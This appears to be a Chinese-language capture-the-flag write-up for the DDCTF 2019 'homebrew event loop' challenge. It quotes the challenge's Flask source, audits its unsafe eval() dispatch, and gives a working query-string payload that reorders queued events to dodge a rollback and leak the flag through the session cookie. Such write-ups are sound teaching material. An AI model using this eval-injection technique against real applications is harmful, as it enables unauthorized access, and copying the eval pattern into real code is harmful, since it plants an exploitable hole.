[DDCTF 2019]homebrew event loop

打开环境，我们发现有四个页面

image-20240925211843726

第一个页面是个python的flask框架

image-20240925211915085

第二个页面我们能进去花费一个积分买钻石

image-20240925211944178

第三个页面是重置积分

我们重点来看第一个页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************'  # censored
url_prefix = '/d5afe1f66147e857'


def FLAG():
    return '*********************'  # censored


def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5:
        session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)


def get_mid_str(haystack, prefix, postfix=None):
    haystack = haystack[haystack.find(prefix)+len(prefix):]
    if postfix is not None:
        haystack = haystack[:haystack.find(postfix)]
    return haystack


class RollBackException:
    pass


def execute_event_loop():
    valid_event_chars = set(
        'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        event = request.event_queue[0]
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')):
            continue
        for c in event:
            if c not in valid_event_chars:
                break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(
                    action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None:
                    resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None:
                    resp = ''
                # resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None:
                    resp = ret_val
                else:
                    resp += ret_val
    if resp is None or resp == '':
        resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp


@app.route(url_prefix+'/')
def entry_point():
    querystring = urllib.unquote(request.query_string)
    request.event_queue = []
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
        querystring = 'action:index;False#False'
    if 'num_items' not in session:
        session['num_items'] = 0
        session['points'] = 3
        session['log'] = []
    request.prev_session = dict(session)
    trigger_event(querystring)
    return execute_event_loop()

# handlers/functions below --------------------------------------


def view_handler(args):
    page = args[0]
    html = ''
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
        session['num_items'], session['points'])
    if page == 'index':
        html += '<a href="./?action:index;True%23False">View source code</a><br />'
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
        html += '<a href="./?action:view;reset">Reset</a><br />'
    elif page == 'shop':
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
    elif page == 'reset':
        del session['num_items']
        html += 'Session reset.<br />'
    html += '<a href="./?action:view;index">Go back to index.html</a><br />'
    return html


def index_handler(args):
    bool_show_source = str(args[0])
    bool_download_source = str(args[1])
    if bool_show_source == 'True':

        source = open('eventLoop.py', 'r')
        html = ''
        if bool_download_source != 'True':
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
            html += '<a href="./?action:view;index">Go back to index.html</a><br />'

        for line in source:
            if bool_download_source != 'True':
                html += line.replace('&', '&amp;').replace('\t', '&nbsp;'*4).replace(
                    ' ', '&nbsp;').replace('<', '&lt;').replace('>', '&gt;').replace('\n', '<br />')
            else:
                html += line
        source.close()

        if bool_download_source == 'True':
            headers = {}
            headers['Content-Type'] = 'text/plain'
            headers['Content-Disposition'] = 'attachment; filename=serve.py'
            return Response(html, headers=headers)
        else:
            return html
    else:
        trigger_event('action:view;index')


def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0:
        return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items
    trigger_event(['func:consume_point;{}'.format(
        num_items), 'action:view;index'])


def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume:
        raise RollBackException()
    session['points'] -= point_to_consume


def show_flag_function(args):
    flag = args[0]
    # return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
    return 'You naughty boy! ;) <br />'


def get_flag_handler(args):
    if session['num_items'] >= 5:
        # show_flag_function has been disabled, no worries
        trigger_event('func:show_flag;' + FLAG())
    trigger_event('action:view;index')


if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')

进行代码审计

看到有两个命名与flag相关的函数

我们先看get_flag_handler()，要想flag就要满足session[‘num_items’] >= 5

在这里面提到了trigger_event()，来看一下

1
2
3
4
5
6
7
8
def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5:
        session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)

这个函数失望session里写日志，会记录下各个函数的调用，那么自然会吧trigger_event(“func:show_flag;”+FLAG())存在放在session[‘log’]中，那么flag就会在session里

现在要想想怎么满足session[‘num_items’]>=5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0:
        return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items
    trigger_event(['func:consume_point;{}'.format(
        num_items), 'action:view;index'])

def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume:
        raise RollBackException()
    session['points'] -= point_to_consume

buy_handler()回显加上num_items,然后在执行consume_point_function()函数，在consume_point_function()函数中，如果发现points不够会回滚，就是把num_items再减掉

但我们只有3个point，买不了5个num_items怎么办

那我们就要在num_items被减掉之前执行get_flag_handler()不就行了

我们来看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
def execute_event_loop():
    valid_event_chars = set(
        'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        event = request.event_queue[0]
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')):
            continue
        for c in event:
            if c not in valid_event_chars:
                break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(
                    action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None:
                    resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None:
                    resp = ''
                # resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None:
                    resp = ret_val
                else:
                    resp += ret_val
    if resp is None or resp == '':
        resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp

可以看到里面有一个可控的eval函数，利用这个函数可以导致命令执行

若让eval()去执行trigger_event()，并且在后面跟着buy和get_flag，那么buy_handler()和get_flag_handler()便先后进入队列，那么这时consume_point_function()就会在get_flag_handler()之后

payload

1
?action:trigger_event%23;action:buy;5%23action:get_flag;

得到cookie

image-20240925213353590

我们进行session解密

得到flag

image-20240925213444780